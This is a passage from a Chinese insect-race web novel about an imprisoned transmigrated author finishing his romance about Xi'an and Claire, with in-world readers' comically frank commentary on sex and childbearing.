结婚才不到半个月,他就该履行雌君的责任,为雄主娶雌侍了。 席安:“……?” 他在说什么?根本没听懂。 “喜欢什么?什么娶不娶的?” 席安不解。 克莱尔低垂下眸。 雄虫并不愿意承认,要么是那只虫身份特殊,要么是他在雄虫心里地位特殊。 克莱尔从未如此煎熬过。 可都到了这一步了,早已没法再粉饰太平,他只能说下去。 “送您那枚奖章的虫……想必很出色,您也喜欢,那就娶回来吧。” 克莱尔故作轻松道。 席安:“……” 他怎么不知道,克莱尔还有这脸不红心不跳夸耀自己的本事。 席安目光古怪,还是顺着他的话道:“确实很出色,也确实喜欢……” 即使早已做好心理准备,但真从席安口中听到这话,克莱尔的心还是骤然凉透。 “那就……娶回来吧。” 一句话,他说得格外艰难。 不是不能接受席安娶别的雌虫,虫族的国情如此,席安总会娶别的雌虫,只不过或早或晚罢了。 只是席安对那只雌虫如此在意和喜欢,他根本比不上…… 他将一无所有。 “娶是当然的,”席安打量着他,缓缓道:“只是那只雌虫早就把我忘记了,我若贸然去他面前提起,会被当成奇怪的虫吧?” “而且我也会很丢脸啊!只有我记了这么久!对方根本没放在心上!” 说到最后,席安语气带着明显的怨气,暗戳戳用眼神戳克莱尔。 如果眼神能刀虫,克莱尔早不知被他刀了多少遍了。 早在他去第九军团报道、而克莱尔没认出他的当天,他的眼刀就把克莱尔的衣服切得粉碎,让他当众果奔。 27 雄虫新兵x昔日教官20 【“您是当年那个小幼崽?” 克莱尔不敢置信问。 “嗯。” 席安把展示柜中的奖章拿出来,交给克莱尔,语气有几分委屈。 “你给我的定情信物我一直好好收着,你却把我忘到了脑后,真让虫伤心。” 不是什么定情信物…… 克莱尔摩挲着奖章后面熟悉的刻字,联想他们现在的关系,发现自己就算有嘴也说不清了。 这只是他讨小幼虫开心的礼物。 就跟送小雌崽机甲模型或玩具枪一样。 也根本没把小雄虫那句“我长大后娶你”当真,这当然不能当真。 结果阴差阳错之下,他没认出当年的小幼虫,却爱上了席安,他们历经种种竟真的结了婚。 见克莱尔看着奖章出神,席安在一旁抱臂看他,道: “还有什么想问的吗?” 克莱尔那些痛苦难过的情绪这会倒是都不见了,就是一副大脑放空的傻样。 但席安喜欢他,哪怕是他有时候迟钝得让他抓狂,他也喜欢。所以这副傻样在席安眼里也挺可爱的。 “所以,您来第九军区是为了……”我? 克莱尔几乎不敢说下去,那个猜测让他忐忑怯懦。 真的有雄虫会记一个承诺十多年,并为此追到雌虫跟前去吗? “是,为了跟你结婚。”席安随意说着,并不觉得自己说了多么惊虫的话。 不想让克莱尔压力太大,他又找补了句: “其实主要是为了追求梦想,参军当军雄很酷的,至于你……只是顺便的。” 确实有这个原因,但克莱尔从来都不算“顺便”。 参军当军雄是席安从小的梦想,因克莱尔而生的梦想。他为了这个目标付出过许多努力。 这么多年下来,其实早就不是单纯地为了克莱尔。 只是,当他为了这个目标而努力时,将他引入这条路的克莱尔也成了某种美好的执念。 关于克莱尔的记忆也在他脑海中被不断美化。 小幼虫能懂什么爱,他未必是真的爱上了克莱尔,而是爱上了他脑海中幻想的“爱情”。 ——雄虫为了雌虫克服重重困难参军,最后履行承诺娶雌虫回家的“美好爱情故事”。 于是,当进入第九军区,被跟记忆中宠溺他的温柔形象完全不符的冷酷教官虐成狗时,席安的爱情破灭了。 他当然是怨恨克莱尔的。 他忘了他们之间的承诺,还对他这么凶! 克莱尔坏。 信守承诺的他好。 只是明明开始讨厌克莱尔了,却还是会被他吸引。 爱恨交织下的复杂情绪让他对克莱尔关注度更高。 当一只虫无比在意并关注另一只虫的时候,那离真正喜欢上他也不远了。 两年的军中生活,日夜相处,那些连席安自己也都没发现的爱,在克莱尔抛下他去远征后,伴随着骤然冷静下来的孤寂,变得清晰起来。 嘴硬的席安不愿意承认。 他恨死克莱尔了。 可他恨的方式却是匹配克莱尔,把他娶回家做雌君,让他再也不能抛下他。 他要跟克莱尔做恨! ……】 [做恨?] 雌虫们第一次接触这个新名词,并很快被它吸引。 [做恨的意思是把雌虫娶回家当雌君,然后恶狠狠地压着雌虫做的意思吗?] [听起来很爽的样子。] [好想跟雄虫阁下做恨。] [已经跟我雄主做了一百年恨,不用羡慕。我雄主经常找由头罚我,跟我做恨。哪怕怀蛋期间都逃不过大着肚子做恨。虫蛋一颗接一颗生,我雄主还是那么恨我。] [……6] [太强了!怎么样才能被雄虫阁下这么恨?] 虫族对于“做恨”一词接受得很快。 因为很符合国情。 爱是什么?听不懂。 做恨可太好懂了,雌虫和雄虫的结合就是一个大型做恨现场。 雄虫每天都在跟相同或不同的雌虫做恨。 …… 【席安原本也要和克莱尔做恨。 但远征回来的克莱尔破破烂烂的,都不用他动手,他自己就会碎掉。 席安不得已只能给他缝缝补补,先将他修复好。 修补过程中又发现了克莱尔对他的保护和感情,就更加没法凶残对待他了。 唯一一次浴室里的报复,他也十分克制。只要克莱尔喊停,他就会立刻停下。 只是克莱尔紧咬牙关就是不喊,他最后只能为红红的克莱尔抹药。 最早的做恨想法早就被抛到脑后,他现在只想跟克莱尔做点爱。】 …… [等等,慢一点,做恨还没理解透彻呢!怎么就改做那什么爱了啊?] 忙着学习做笔记的雌虫们,几乎跟不上课程。 [爱怎么做?] 恨好理解,爱呢? [是要很轻很软地做吗?] [那也太折磨了吧?还不如做恨呢。] 雌虫们对“爱”的理解能力实在有限,不管怎样去想象猜测,也想不出来那究竟是怎样的。 只期望席安阁下和克莱尔能给他们一个答案。 …… 【即使席安说他只是“顺便的”,克莱尔也没法不动容。 他能想象到当初的席安是怀着怎样的好奇和期待来的第九军区,可他将一切都弄砸了。 “对不起,我没……” 没想到小雄虫会将一句承诺记这么久。 没能认出席安是当年的小雄虫。 在真切的过失面前,语言变得无比苍白。 克莱尔意识到,自己曾伤了席安的心。 席安故作宽容道:“有你这句道歉也就够了。” 不够,克莱尔要将一辈子赔给他才行。 他凑近,亲了亲克莱尔的唇,温和有力的精神力安抚着对方的情绪。 克莱尔呼吸微重,睫毛不安颤动。 席安握住他的手,笑着道: “不管怎么样,我们还是走到了一起。我来第九军区是为了跟你结婚,而你第一眼就喜欢上了我,我们其实是两情相悦啊。” 克莱尔的坦白与告白,给了他太多惊喜。 让他愿意放下那些扭曲的怨恨和委屈,全身心去爱他,也回应他的爱。 两情相悦……席安喜欢他。 克莱尔注视着面前眼中带笑的红发雄虫,心里的愧疚和酸涩几乎要溢出来。 他搞砸了一切。 但席安跟他说,两情相悦。 即使他糟糕透了,席安还是愿意给他机会,接受他,喜欢他。 “我……我爱您。”克莱尔抓住雄虫的衣角,急切道。 他有很多想说的,但最后都归为这一句话。 雌虫很少会说“爱”,尤其是对雄虫说。 可除了这句话,别的都不够表达克莱尔的心。 “我知道,你已经跟我表白过了。” 席安矜持抿唇,端庄克制。 端了没一会,他就在克莱尔满含情意的注视下破了功,把克莱尔压在沙发上亲。 “我也爱你,特别特别爱,你只能是我的,必须陪着我,不许离开我,不许抛弃我!” 席安一边亲,一边恶狠狠警告。 爱意和表白被他说得像是威胁。 而克莱尔只想答应他的任何要求。 哪怕席安让他不许回军部,只能永远留在家里,他也愿意。 “给我生个蛋吧!” 席安忽地道。 “嗯,好。” 克莱尔下意识应着,脑海里忽地浮现出幼虫版席安的模样。 他一直知道席安年纪比他小很多。 但因为他对席安的“第一印象”就是已经成年的样子,所以对此并没有太真切的感受。 但现在他突然意识到,这是一只他十多年前就抱过的小雄虫。 克莱尔的表情忽地有那么一些僵硬。 他要跟小他这么多的雄虫生虫蛋…… 虫族寿命漫长,配偶间有年龄差很正常,就算差个几百岁的都大有虫在。 像他跟席安这种差距只有十几岁的,甚至能被归为“同龄虫”。 但克莱尔一想到这是自己抱过的小雄虫,就觉得棘手。 作为年长者,他天生就该承担更多责任,也担负着对年轻虫的引导任务。 他可不能把雄虫教坏了。 什么卖力表现自己、引.诱雄主这种事情肯定是不能再发生。 他的言行举止需要更端方持重。 至于生蛋…… 这是他作为雌君的责任和义务,蛋还是要生的。 克莱尔说服了自己。 顺从地在席安的动作下打开,接受雄主给予的一切。 ……】 …… [他又来了,既要又要的克莱尔(翻白眼)。] [既要端方持重,又要给雄主生蛋,什么好事他都占了,心里爽得要命了吧?] 雌虫们对克莱尔的表现很是不屑,然后惯例打赏收藏做笔记。 [两情相悦?他居然在这么辜负了席安阁下的情况下,还让席安阁下说出两情相悦?] [“我爱您”这句话要划重点,克莱尔说完这句话后,让席安阁下高兴地将他压着亲。等等,后面这是在沙发上就做了吧?以他跟席安阁下的适配度,他说不定还真能得到一个蛋!] [可恶啊,嫉妒使虫面目扭曲!] [呵,端方持重,但大白天在沙发上就勾着雄虫授信息素。] 雌虫们嘴上嫌弃鄙夷,实际上羡慕得要命。 28 雄虫新兵x昔日教官21 #做恨# #克莱尔生小草莓# #爱怎么做# 看完更新之后,读者们急于分享讨论,几个相关话题冲上星网热议。 一些不明真相的路人也点进来,最先关注的是“做恨是什么”,看了相关虫的科普介绍后顿时了悟,“原来我和我雄主是在做恨”。 基于种族情况,“做恨”一词在虫族有很大的市场,被民众广泛认可。 《分享这些年与雄主做恨的经历》 《做恨做到爽死是什么体验》 《席安阁下与克莱尔做恨实录》 《如何勾到雄主与你做恨教学》 一个个热帖相继推出,将话题讨论热度推到新高度。 [众所周知,做恨就是雌雄间最快乐的事情。] 刷星网的安若:? [雄虫的信息素会在做恨时释放出来。当然,有些阁下相当吝啬,往往要将虫折磨得几近崩溃,才愿意释放信息素。 这是对雌虫的考验。雌虫需要尽可能熬过艰难的前期,想尽办法取悦雄虫,让雄虫将信息素释放出来。 技巧高超的雌虫往往能很快让雄虫释放信息素,不过太快了也不行……] [雄虫释放信息素液所需的时间与雄虫自身的能力成正比,等级越高的雄虫时间越长,给雌虫带来的快乐也越多。 所以不要遇到一个给你信息素快的雄虫就沾沾自喜,这很可能代表你选了一只不那么行的雄虫(尽量委婉)。] 安若:??? 等等?这一本正经地在做什么教学? 偏偏底下的未婚雌虫们还一副学到了的模样,求大佬多讲一点。 [大佬大佬,我看中的雄虫是一只C级雄虫,这种做恨能力强吗?对了,我自己是B级,军校毕业。] [这得看对方家里有多少雌君雌侍。C级算中等级雄虫,一天睡个四五只雌虫没问题,但占了雄虫的雌虫都不愿意放手,这个数量得减到两只。 如果雌侍数量在十只以下,且后续没有持续扩招的想法,就可以考虑。你们的等级也算相配,有幼崽的可能性很高。 要是雌侍数量已经有十多只了就赶紧跑吧,这C级雄虫哪里应付得过来?睡个觉都得打架。继续娶雌侍纯属是抓免费劳动力。] 问话的雌虫算了下雄虫的雌侍数量,发现自己没戏了,倒也算意料之中。 在虫族,雌虫想要找到合适的雄虫是很难的。 哪怕是比自己低一个等级的雄虫,能选择的余地都很小。 若是条件放宽到低两个等级,倒是能选了,还能稳当雌君。 问题是做恨能力不强啊,哪怕精神梳理都很极限。 如果雄虫只有少数几只雌虫还好说,雌虫数量一旦多起来,就根本应付不过来。 高等级雄虫的做恨能力倒是强了。 就是竞争对手也更多更强了,为了一个名额能抢破头。 [果然,想跟雄虫做恨也不是一件容易的事。] 雌虫们哀叹。 旋即又讨论起做恨技巧来。 虽然一时半会用不上,但说不定哪天就用上了呢。 见满屏的词汇又往不堪入目的方向发展,安若赶紧退出,去看其他话题。 #克莱尔生小草莓#话题里的画风就截然不同了。 充满了“早早生蛋”“多多生蛋”的催生祝福。 活像是催生大队。 在别的种族或许会被讨厌的事,但在这里是最真诚的祝福。 基于虫族的国情,也就能理解了。 安若都忍不住想,他若是在虫族写一胎108宝文说不定会很有市场。 感觉会很戳这些疯狂想生蛋的雌虫的癖好。 但想到穿小说这事,安若立刻打住自己疯狂的想法。 不管是穿成108宝之一,还是穿成生蛋的雌虫,亦或者是多了一百多个幼崽的雄虫,都是一件相当绝望的事。 他已经洗心革面,重新做人(虫),绝对不瞎写。 退出催生大队话题,#爱怎么做#话题里则全是学术研究探讨氛围。 有虫觉得,不用那些会伤害雌虫的道具和玩法,就是做的爱。 有虫觉得,爱会很温柔轻柔,每个触碰都郑重而小心。 也有虫认为爱是像克莱尔那样,即使面对浓郁的高等雄虫信息素,也要克制自己,所以应该盖着被子纯聊天。 就像是一群从未见过色彩的全盲患者,在幻想颜色是什么样的。 他们对于“爱”,既憧憬又怀疑,带着不太确定的小心翼翼。 安若想,他或许应该写一章甜一点的番外。 甜度超标的那种。 · 雄虫今天心情很好。 连乌列尔都看出来了。 “今天有什么喜事吗?” 等最后一个精神梳理的军雌离开,乌列尔询问。 安若微怔,没想到对方会问他这个。 想到乌列尔知道他在写书,自己的稿子说不定还是他审核的,虽然会有点尴尬,但没有在对方面前遮掩的必要。 安若有些不好意思,却还是难掩雀跃地道: “我的书要完结了!” 对作者来说,最开心的时候就是书完结。 全身心都轻松了起来。 虽然也会有点舍不得,但终归是要完结的。 他已经做好了他能做的一切。 席安和克莱尔的故事还会继续在他们的世界继续下去。 而他则可以——写甜甜的番外! 乌列尔见雄虫连头发丝都要晃了起来,看得出他是很开心了。 他也被雄虫的情绪所感染,也牵动嘴角笑着道:“恭喜。” “嗯哼。”安若应了声。 有了乌列尔之前的提醒,他已经不张口闭口说“谢谢”。 一开始有些难,需要努力忍住。 但渐渐地,好像也习惯了,又或者是熟稔了。 乌列尔的感知尤为明显。 雄虫收起了那种充满距离感的礼貌,变得……可爱得要命。 这跟他最开始的设想不符。 让他不知该怎么办。 这只雄虫太危险了。 乌列尔在心中叹了声,收拾好心绪,状似什么都没发生般地问对方: “那么,接下来打算做什么?” “嗯……”安若想了想道:“还是得先把书完结,然后做新的等级检测。” 说到这,他抬眸看了乌列尔一眼。 乌列尔说过,他需要保持好精神状态,一周后才能进行精神梳理。 就是这周末了。 “当然,我会为您安排好等级检测……检测结果也会上报给元帅。” 乌列尔注视着他道。 “啊?” 居然要上报给最高军事统帅吗? 这会不会太夸张了点? 安若根本不知道该怎么面对尤利西斯,他现在这个身份太尴尬了。 如果换个身份…… 以作者的身份出现在过往凄惨的反派面前,会被直接掐死吧? 更大的可能是被抓起来搜刮干净,再掐死。 他人都在监狱里了,简直不要太好抓。 安若打了个哆嗦。 不管哪个身份,他都不想面对尤利西斯。 往好处想想,元帅日理万机,怎么会注意这么一份小小的报告呢? 就算注意到了,也最多是给他多安排点军雌,来压榨他,总不可能亲临监狱。 安若自我安慰,但仍旧忧思难散。 “那就按规章办吧。” 安若小声说着,拢了拢身上的衣服,觉得有些冷。 “我送您回房间。” 乌列尔拿起搭在椅背上的军装外套,想披到雄虫身上。 安若吓了一跳,一个后撤步躲开,瞪大眼睛看着乌列尔。 这太奇怪了。 “我不冷,还不至于……谢谢你的好意。” 好不容易戒掉的“谢谢”又出现了。 “好……” 乌列尔收起军装外套,保持距离,跟在安若身后,将他送回房间。 空寂的走道中,乌列尔独自伫立良久,最终转身离开。 这是一只不喜欢肢体接触的雄虫,跟所有虫都保持着距离,哪怕是精神梳理都只在治疗室做。 他在自己和其余虫之间划了一条线,那是他能接受的安全距离。 安全距离外,他可以跟所有虫友好相处,可一旦越过那条线,就会吓着他,激起他的防备。 相比其他军雌,雄虫对他划下的线近一些,代表着一定的信任和亲近。 但那条线还没达到能肢体接触的地步,哪怕是衣物的接触都不行。 那么元帅呢? 乌列尔忍不住想。 被雄虫亲手施加过酷刑的元帅,在哪条线里? · 囚室里。 安若在桌边坐下,吃了个红果压压惊。 监狱管理者的关心就像是指导老师的关怀。 想想吧,你刚在老师面前做完上台汇报,老师关心地给你披了件衣服。 那一瞬间,身上都快长针了。 虽然乌列尔是他书中主角的顶头上司,同时也是大反派尤利西斯还是上校时的副官,在书中有着很重的戏份,但他们不熟啊! 作者只跟主角熟。 尤其是这样一本已经过去多年、很多内容都忘得差不多了的书。 安若并未多想,安抚好自己受惊的小心脏,就将事情抛到脑后,打开终端开始码字。 他要写甜甜的,甜甜的! 他的灵感和动力也催使着他行动。 …… 29 雄虫新兵x昔日教官(完) 【说好了要一起看小说的,但当跟克莱尔钻进被子里,身体挨在一起,鼻尖相抵,这里亲亲,那里蹭蹭,耳鬓厮磨,两只虫很快就想不起小说的事了。 加载成功的光屏飘在一边,显示着小说界面。 而席安和克莱尔在被子里胡闹。 结婚已经半个月了,他们这才有点新婚的样子,像是正处在热恋中的虫,时刻都想黏在对方身上。 席安会在别墅的任意一处缠上克莱尔。 大部分是卧室跟厨房,训练室也包含在内,当然还有浴室和起居室沙发。 卧室是为了跟克莱尔睡觉,厨房是为了捣乱并且欺负克莱尔,训练室是克莱尔虐他有多狠,他就要在克莱尔身上报复回去。 但说白了还是情之所至。 克莱尔一开始还紧守着年长者的克制、雌君的持重、教官的严肃,被弄了一次后就整只虫都傻了。 根本想不起来那些,只想把雄虫挽留住,跟雄虫融为一体,把雄虫吞吃入腹。 每次睡一觉都闹得跟打一架一样。 也就席安身体好耐力强,能造得住这样的折腾。 席安也很乐于跟他搏斗,每次都双眼亮晶晶的。 真正的训练场上,席安永远是输多赢……没赢过。 但这种搏斗不一样,雌虫对雄虫信息素的反应太大,被身体所拖累,根本发挥不出真正的战斗力。席安能跟他打个不相上下,并占据上风。 “嗯?教官?”席安故意在他耳畔唤着。 “军区的教官就这个水平吗?居然被一个新兵放倒了?传出去很丢脸的吧?” “哦,教官当然不在意脸面这种东西,不然也做不出深夜爬新兵的床这种事情来。” 克莱尔原本觉得被弄成这样确实很羞耻,用手臂遮挡着脸逃避,结果听到雄虫后边的话,他不得不争辩一句。 “没有深夜爬新兵的床。” 首先,现在不是深夜,是白天。 好像更没说服力了。 其次,席安不是新兵。 他已经是少尉。 最后,他们结婚了。 他爬席安的床合情合理,合法合规,哪怕军规军纪都不能说什么。 席安轻笑了声,还是不肯放过他,继续追问: “教官说在军区见我的第一眼就喜欢上了我,那么,夜里有没有想过我呢?” 克莱尔羞耻得脸都快烧了起来。 怎么会有雄虫好奇这种问题? 这种内容说出来的话,对雄虫太冒犯了。 仅仅是想一想都很冒犯。 “说说嘛,教官,雌君~” 席安缠着他蹭,就是要让他开口。 克莱尔垂眸掩下口耑息,咬着唇勉强挤出几个字: “有过,几次。” 因为一直以为席安不喜欢他,所以也不敢真的去想什么,那会让他想到席安饱含怒火和怨恨的眼,刺得他心疼。 三年来,也就仅有那几次,还是席安进到了他梦里。 他无法控制自己的梦…… 比起那些直接幻想着席安嚎的饥渴雌虫,克莱尔算得上是克制。 但当这一切尽数摊开在席安面前,他还是羞愧得想要逃离,无颜面对席安。 席安其实还挺好奇的。 很想缠着克莱尔问问他都是怎么想的。 他不介意按照克莱尔想象中的模样,亲身满足他。 但见克莱尔一副要羞死过去的样子,也就大发善心,不追问了。 他对克莱尔素来心软。 就算有时候会恶劣地逼一下他,也不敢真把他逼得难受了。 若克莱尔难受,他的心会比他更难受。 明明是他精神标记了克莱尔,却也是他的情绪被克莱尔牵着走。 席安无奈拥住克莱尔,低声哄道: “好啦,这没什么,我已经是你的了。” “你想怎么‘想’都可以,或者更实际一点……” 席安拉过克莱尔的手,放到自己脸侧,偏头轻蹭了蹭,勾唇笑道: “用你的实际行动占有我。” 雄虫蹭着他的手含笑看他的样子充满了蛊惑。 在雄虫亲言的许可下,克莱尔哪里还忍得住? 他缠住雄虫的脖子,翻身把雄虫压下。 什么要克制,什么不能教坏雄虫,都一边去吧。 那是清醒后的克莱尔该发愁的事,现在的克莱尔只想喂他的雄虫吃脐橙。 从中午胡闹到深夜,克莱尔在信息素的滋养下昏昏欲睡,却还记得要备孕,不能让珍贵的雄虫信息素流失。 已婚雌虫都有用来防止信息素流失的物品,经过雄虫的许可就能使用。 但克莱尔想到他央求席安注射肌肉松弛剂时席安说的话,就此咬死了牙关,从没跟席安提过。 他不想让席安觉得他连信息素都留不住。 宁愿肌肉发力,强撑着直到吸收,也不肯开口问席安要辅助物品。 只是这次的信息素太多了,克莱尔不得不调整了下姿势。 席安不知道他心里的想法,还凑过来跟他贴贴。 “克莱尔,长官,我已经申请调回原本部队,回军区后,我们还是在一起。” 席安将下巴抵在克莱尔肩背上,轻声说。 “好。” 克莱尔低声应着,心口暖暖涨涨的。 “你不能再抛下我。” 席安道。 说这话时,他挺想揪克莱尔一下强调,但克莱尔趴着,他找不到下手的地方,最后在他腰侧捏了下。 克莱尔偏过头来看他,冰蓝的眼睛落在他身上,带着些思索和探究。 见雄虫只是掐一下,没有要继续做下去的意思,他又继续趴回去。 “我很抱歉,我并不想抛下您,但远征对雄虫来说太过危险……” 克莱尔斟酌着语句。 结果被雄虫拧在了。克莱尔身体猛烈一颤,差点流失信息素。 “又来了,什么对雄虫都是危险的,我当军雄可不是为了接受保护!” 席安语气不善,手下力度也重了些,留下指痕。 这种程度的攻击对雌虫来说什么都不算,只会提起雌虫的性趣。 克莱尔平复着呼吸,闷声道:“这不是我能决定的。” 保护雄虫的雌虫的义务。 这是整个社会的共识。 军方绝对不会让雄虫去冒险。 不仅是因为雄虫的稀缺性,还有一旦出事,将面临的巨大舆论压力。 克莱尔知道席安的志向高远,不甘于被以保护的名义限制。 但他终究只是只普通雌虫,他有自己的私心。 雌虫的私心让他只想把雄虫拢在翅翼下,珍藏在绝对安全的地方。 “哼。” 席安冷哼一声,他当然知道克莱尔没有这个权力,批不批许他去远征是一回事,他更在意的是克莱尔的态度。 当时的克莱尔完全就是看不起他的实力、认为他该待在大后方的轻视态度。 席安当然会因此生气。 但现在,他对克莱尔了解更多了些,知道对方对他的在意,明白克莱尔的拒绝不是他所想的“轻视”,相反是对他过于重视和在意。 他该出的气也在克莱尔身上出了,克莱尔如今也全须全尾地待在他怀里,他也就没那么计较那件事了。 说白了,他还是太弱了。 一个少尉,只能听从军部的安排。 军方不让他上战场,他就上不了,不让他去远征,他就去不了。 但凡他是一位少将、中将、军团长,军部还能这么限制他吗? 席安的目标更加清晰。 他参军是因为克莱尔,却也早已不仅仅是为了克莱尔。 成为将级军官或军团长不是件容易的事,对雄虫来说尤为如此。 相比于能上战场能远征的军雌,雄虫只能参考和平时期的晋升途径。 席安掰着手指计算,发现自己即使在晋升考试、表现评估、推荐和选拔中都表现得极为出色,想要达成目标所需要的时间也非常非常长。 比起他自己,他的雌君更可能先一步成为军团长。 席安emo了一秒。 不过克莱尔是他长官,晋升比他快也是很正常的事。 “雄虫有什么晋升快的方式吗?” 席安还是忍不住问。 克莱尔想了想道:“……精神梳理?” 军医也是有军衔的,他们属于专业技术军官,最高军衔可以达到中将。 这确实是最适合雄虫晋升的一条路。 “……” 席安沉默了几秒,“我考虑考虑。” 克莱尔慌了神,忙回身将雄虫抱住。 雄虫做精神梳理不一定跟睡觉挂钩,但在军队、给军雌做精神梳理,几乎可以等同于睡觉了。 军雌的精神域难以进入是公认的,大多数雄虫都要通过信息素辅助。 克莱尔当然知道雌虫不可能独占雄虫,但也没做好拥有一整个军团的“家虫”的准备啊。 以后在军团里抬头不见低头见。 ——你也跟我雄主睡过? ——哈哈,好巧,你也是。 克莱尔打了个寒战。 这个笑话太冷了。 “哎呀,不是你想的那样。” 席安哭笑不得回抱住他。 他还没准备卖身呢。 “我的精神力很强,打开雌虫的精神域不需要那些手段。” 别忘了他可是超A级雄虫。 军队里能达到这个级别的雌虫可都不多呢。 “放心,不会有你担心的事情发生,我只娶你一个。” 席安在克莱尔额间亲了亲,低声承诺。 克莱尔反倒呆住了。 他抱住雄虫只是下意识的本能反应,并不是不能接受席安有别的雌虫。 虫族的性别比例摆在这,每个雄虫都会有很多雌虫,这才是正常的。 席安跟他说只娶他一个才是不正常的。 30 雄虫给雌虫打钱? #教官完结# 小说完结是大喜,但没文看、完全找不到代餐的读者可不这么想。 心里空落落的,像是失去了什么日夜相伴的重要东西。 从书评区到星网上,哀嚎得跟要饿死了一样。 读者们到处找粮吃,小说内容截图、剧情讨论、亦或是衍生作品,统统不放过。 《“脐橙”究竟是什么?》 《席安阁下:我只娶你一个》 《关于小草莓长相猜测》 《克莱尔就是最配席安阁下的!》 《万年上校克莱尔,大热小说里最低军衔配置》 …… 关于脐橙是什么,众说纷纭。 大部分一根筋的雌虫认为那是种水果,并很好奇这种雄虫都喜欢的水果长什么样,哪里有买,想买回去给雄主。 最后还是艾拉出来写了一篇分析贴。 【艾拉-C】: “脐橙”究竟是什么? 食物的可能性基本可以排除。 没有雌虫会在那样的情况下喂雄虫吃他们自己之外食物。 想想吧,满身信息素的心上虫就在身边,允许你用实际行动占有他,克莱尔却从空间纽里取出一枚水果喂给雄虫??? 这合理吗? 显然不合理。 再根据克莱尔先前“缠住雄虫的脖子,翻身将雄虫压下”这一动作描述,由此可以推测,“脐橙”其实是一种姿势。 这种姿势的基本形式是由雄虫在下,雌虫在上。 具体形式还可以根据身体朝向和动作另外分析,可能是深蹲、背向、交叉坐骑、亦或者俯式等等。 因为文中并未明确写出,所以我们也无法确定具体形式。 但可以肯定的是,“雄虫喜欢吃的脐橙”是一种姿势,而非食物。 那些想给家里雄虫买水果的雌虫可以换种方式了。 …… 刷到帖子的安若:“……” 又是低估了虫族开放程度的一天。 帖子下留言回复的虫还格外激动,完全不觉得公开讨论这些有什么问题。 [不愧是艾拉阁下!立刻就猜透了其中的玄机!] [还好刷到了阁下这篇帖子,差点我就给雄主送错东西了。] [克莱尔那家伙,真是深藏不露啊!表面冷冰冰,一副性冷淡的样子,其实是这方面的技巧大师,难怪能把席安阁下勾住!] [越深扒越发现,克莱尔身上有许多值得学习的地方,克莱尔版教材的含金量还在上升。] 克莱尔想必都不知道自己还能被这么解析。 安若默默退出帖子,继续浏览其他内容。 《关于小草莓长相猜测》 席安阁下和克莱尔的幼崽会长什么样呢? 根据虫族的基因遗传特性。 雌虫幼崽更大可能遗传雄父的发色瞳色,雌父的面部轮廓、身形骨骼。 雄虫幼崽则相反。 也就是遗传同性父亲的骨相、异性父亲的皮相。 以虫族的雌雄比例,小草莓是雌虫崽的可能性更大。 也就是说,小草莓会有席安阁下的发色瞳色——红发绿眼。 以及克莱尔的面部轮廓(当然,这得等到觉醒成年后才会变得明显,幼崽时期都是软萌可爱的小团子)。 可以说是很“草莓”的配色了。 如果中了小概率的雄虫崽,则会出现完全相反的情况。 雄虫崽会继承克莱尔的发色瞳色——银发蓝眼,以及肖似席安阁下的长相。 那也很漂亮了,是清冷风格的雄虫阁下。 一位“小冰激凌”阁下。 当然,也有小概率出现更加随机的搭配。 红发蓝眼,或者银发绿眼,亦或者返祖到上一辈、上上辈……都是有可能的。 席安阁下和克莱尔的基因摆在那里,不管是小草莓、小冰激凌,还是别的模样的幼崽,都会极其漂亮可爱。 想想就很棒呢(捧脸幻想)。 快生吧。 联邦不是鼓励要幼崽吗?我就要他们的。 让我雌君去偷蛋,嘻嘻。 …… 安若看着前面关于虫族基因遗传的描述,在心里暗暗点头,这确实是他在原文中提到过的,分析得很详细。 然后……他看到了后边那画风不太对劲的话。 等等,这帖子谁发的? 再一看发帖虫【艾拉-C】。 小白化真的是《教官》这本书的狂热粉丝啊,这么活跃。 安若也能明白小白化的想法。 顺产哪有顺手快? 自己和雌君等级差过大,生不了,于是惦记起了席安和克莱尔的幼崽。 但席安和克莱尔只是书里的角色。 这蛋怕是偷不到了。 安若怜爱地给小白化的帖子点了个赞,随后登出星网。 明天就是等级检测的日子。 他今晚得好好睡一觉,补足精力。 要是因为熬夜精神萎靡,导致检测数值偏低,可就尴尬了。 安若舒舒服服洗了个澡,钻进被窝里。 书已经完结,浑身轻松,他入睡很快。 就是做了个不太美妙的梦。 梦里,他的主角从书里钻出来,突破次元壁,来到他面前。 “可算让我找到你了。” 红发绿眼的席安磨刀霍霍,揪着他的衣领威胁。 “就是你让克莱尔忘记了跟我的承诺、被天伽追击、在机甲里自残饱受折磨、抛下我去远征……” “快,给我重新写一版,我要克莱尔重逢见我的第一面就热烈追求我!” 银发蓝眼的冷酷军雌站在一旁,闻言点了点头,表示按雄虫说的办。 安若有身为作者的尊严,宁死不改文。 席安见威胁不动他,又跟他商量新的。 “不改也行,给我跟克莱尔写番外,三年抱俩。 安若同样不接受。 “虫族的生育率摆在那里,没让你三百年抱俩就算好的了!三十年两个蛋,不能再多了!” 双方就“几年抱几个蛋”争执之际,大反派尤利西斯徒手撕裂空间而来。 冰冷的银灰色眼睛投来一瞥,强大的威压笼罩而下,天地都为之变色。 …… 安若吓醒了。 身体猛地弹动了下,骤然睁开眼,发现自己正躺在床上,入目的是熟悉的监狱囚室。 走廊上透来稳定的亮光,房间里安静静谧,只能听到他自己的呼吸和心跳声,没有别的奇奇怪怪的虫。 安若顿时长舒一口气。 再一次觉得监狱囚室如此让他安心。 还好只是梦。 他不怕见他书里的主角。 不管是席安克莱尔,还是原文主角,他知道他们本性很好。 就算参加《当你的主角来到你面前,会对你说什么/做什么》挑战,安若也完全不慌。 但反派就免了。 反派就没有一个性格是正常的,他们的经历就注定了他们不可能正常。 尤其是尤利西斯这种生在本身就扭曲的虫族世界的大反派。 穿越以来第一次做这种噩梦,睡是睡不着了,安若翻了个身,从床上爬起来,去盥洗室洗了把脸。 镜中的脸还是跟他穿来时一样,苍白美丽,又似乎有了些什么变化。 具体有什么不同安若也说不上来,他从未认真看过这张脸。 真要说的话大概是更加融洽了,那种怪异的非人感变少了。 简单洗漱后,安若走到书桌前坐下。 距离每日早起精神梳理的时间还有一个星时,可以再刷会星网。 星网上全是关于《教官》的讨论,小说的完结将书的热度推到最高。 《教官》在近年来最受欢迎的小说排行榜上登顶。 “滴”的一声,安若收到了小说网站的通知提醒。 上面提醒他小说已经完结,共获得打赏98*******,扣除分成后总计88*******星币,请尽快提现。 那一连串的数字看得安若眼睛都花了。 即使他生活在监狱里,并不清楚星币的购买力,却也知道这是很大一笔钱。 问题是他用不上啊。 对一个吃穿用度都由监狱方提供、刑期999年连出狱的机会都没有的虫来说,再多的钱也只是一个数字罢了。 若是把钱放着不用,就真成数字了。 花出去的钱才是钱。 